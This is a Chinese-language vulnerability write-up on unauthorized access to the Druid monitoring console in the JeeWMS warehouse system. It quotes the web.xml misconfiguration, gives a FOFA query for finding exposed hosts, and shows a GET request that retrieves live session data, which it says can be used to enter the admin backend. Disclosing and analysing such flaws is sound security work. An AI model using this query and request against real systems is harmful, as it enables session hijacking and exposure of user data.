漏洞简介
JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS 存在 druid 未授权访问,未授权攻击者可利用此漏洞获取系统如sql语句、url链接、Session等敏感信息。
影响版本
最新版
fofa语法
body="plug-in/lhgDialog/lhgdialog.min.js?skin=metro" || fid="cC2r/XQpJXcYiYFHOc77bg=="
漏洞分析
web.xml 里有关 druid 的过滤设置如下
<filter>
<filter-name>druidWebStatFilter</filter-name>
<filter-class>com.alibaba.druid.support.http.WebStatFilter</filter-class>
<init-param>
<param-name>exclusions</param-name>
<param-value>/css/*,/context/*,/plug-in/*,*.js,*.css,*/druid*,/attached/*,*.jsp</param-value>
</init-param>
<init-param>
<param-name>principalSessionName</param-name>
<param-value>sessionInfo</param-value>
</init-param>
<init-param>
<param-name>sessionStatEnable</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>profileEnable</param-name>
<param-value>true</param-value>
</init-param>
</filter>
exclusions参数中配置了*/druid*,该模式使用Ant风格路径匹配规则,会匹配所有包含/druid的路径(例如/druid/*、/api/druid/status等)。若Druid控制台的访问路径(如/druid/*)未被其他安全机制(如认证、授权)保护,攻击者可直接访问Druid监控界面,造成 druid 未授权访问漏洞。
再根据 druid 的servlet
<!-- druid -->
<servlet>
<servlet-name>druidStatView</servlet-name>
<servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>druidStatView</servlet-name>
<url-pattern>/webpage/system/druid/*</url-pattern>
</servlet-mapping>
得到具体的访问路径 /webpage/system/druid/*
漏洞复现
注意路径可能有或者没有 jeewms
/jeewms/webpage/system/druid/sql.html
GET /webpage/system/druid/websession.html HTTP/1.1
Host: localhost

也是可以成功未授权访问到session,可利用这些session进入后台
或者查看sql语句等

参考
https://gitee.com/erzhongxmu/JEEWMS/blob/master/src/main/webapp/WEB-INF/web.xml

